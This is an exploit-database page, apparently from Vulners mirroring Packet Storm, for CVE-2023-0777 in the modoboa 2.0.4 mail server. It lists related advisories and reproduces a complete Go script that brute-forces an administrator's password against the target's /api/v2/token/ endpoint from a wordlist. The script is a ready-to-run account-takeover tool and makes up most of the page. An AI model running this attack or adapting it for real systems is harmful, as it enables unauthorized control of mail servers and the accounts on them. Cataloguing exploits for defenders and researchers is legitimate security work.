Lucene search
K

modoboa 2.0.4 Admin Takeover

๐Ÿ—“๏ธย 06 Apr 2023ย 00:00:00Reported byย 7h3h4ckv157Typeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstormsecurity.com๐Ÿ‘ย 241ย Views

modoboa 2.0.4 Admin Takeover - Authentication Bypass by Primary Weakness on modoboa prior to 2.0.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
modoboa 2.0.4 - Admin Account Takeover Exploit
6 Apr 202300:00
โ€“zdt
Huntr
Admin TakeOver
26 Jan 202318:43
โ€“huntr
Circl
CVE-2023-0777
24 Mar 202516:22
โ€“circl
CNNVD
modoboa ๅฎ‰ๅ…จๆผๆดž
10 Feb 202300:00
โ€“cnnvd
CVE
CVE-2023-0777
10 Feb 202300:00
โ€“cve
Cvelist
CVE-2023-0777 Authentication Bypass by Primary Weakness in modoboa/modoboa
10 Feb 202300:00
โ€“cvelist
Exploit DB
modoboa 2.0.4 - Admin TakeOver
6 Apr 202300:00
โ€“exploitdb
Github Security Blog
Authentication Bypass in modoboa
10 Feb 202321:30
โ€“github
Nuclei
modoboa 2.0.4 - Admin TakeOver
6 Jun 202603:01
โ€“nuclei
NVD
CVE-2023-0777
10 Feb 202319:15
โ€“nvd
Rows per page
`/* # Exploit Title: modoboa 2.0.4 - Admin TakeOver   
# Description: Authentication Bypass by Primary Weakness   
# Date: 02/10/2023  
# Software Link: https://github.com/modoboa/modoboa  
# Version: modoboa/modoboa prior to 2.0.4  
# Tested on: Arch Linux   
# Exploit Author: 7h3h4ckv157  
# CVE: CVE-2023-0777   
  
  
*/  
  
package main  
  
import (  
"fmt"  
"io/ioutil"  
"net/http"  
"os"  
"strings"  
"time"  
)  
  
func main() {  
fmt.Println("\n\t*** ADMIN TAKEOVER ***\n")  
host := getInput("Enter the target host: ")  
username := getInput("Enter the Admin's Name: ")  
passwordFile := getInput("Provide the path for Password-Wordlist: ")  
  
  
passwords, err := readLines(passwordFile)  
if err != nil {  
fmt.Println("Error reading password file:", err)  
os.Exit(1)  
}  
  
for _, password := range passwords {  
data := fmt.Sprintf("-----------------------------25524418606542250161357131552\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n%s\r\n-----------------------------25524418606542250161357131552\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n%s\r\n-----------------------------25524418606542250161357131552--\r\n\r\n", username, password)  
  
headers := map[string]string{  
"Host": host,  
"User-Agent": "Anonymous",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",  
"Accept-Language": "en-US,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"Content-Type": "multipart/form-data; boundary=---------------------------25524418606542250161357131552",  
}  
  
resp, err := postRequest(fmt.Sprintf("https://%s/api/v2/token/", host), headers, data)  
if err != nil {  
fmt.Println("Error sending request:", err)  
os.Exit(1)  
}  
  
if resp.StatusCode == 200 {  
fmt.Printf("\n\tValid password Found: %s\n", password)  
break  
} else {  
fmt.Printf("Invalid password: %s\n", password)  
}  
  
// Delay the next request to limit the requests per second  
delay := time.Duration(1000000000/50) * time.Nanosecond  
time.Sleep(delay)  
}  
}  
  
// Read the lines from a file and return them as a slice of strings  
func readLines(filename string) ([]string, error) {  
content, err := ioutil.ReadFile(filename)  
if err != nil {  
return nil, err  
}  
return strings.Split(string(content), "\n"), nil  
}  
  
// Send a POST request with the given headers and data  
func postRequest(url string, headers map[string]string, data string) (*http.Response, error) {  
req, err := http.NewRequest("POST", url, strings.NewReader(data))  
if err != nil {  
return nil, err  
}  
for key, value := range headers {  
req.Header.Set(key, value)  
}  
client := &http.Client{}  
resp, err := client.Do(req)  
if err != nil {  
return nil, err  
}  
return resp, nil  
}  
  
// Get user input and return the trimmed value  
func getInput(prompt string) string {  
fmt.Print(prompt)  
var input string  
fmt.Scanln(&input)  
return strings.TrimSpace(input)  
}  
  
  
`

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Apr 2023 00:00Current
9.4High risk
Vulners AI Score9.4
CVSS 3.19.8
CVSS 38.6
EPSS0.75021
SSVC
241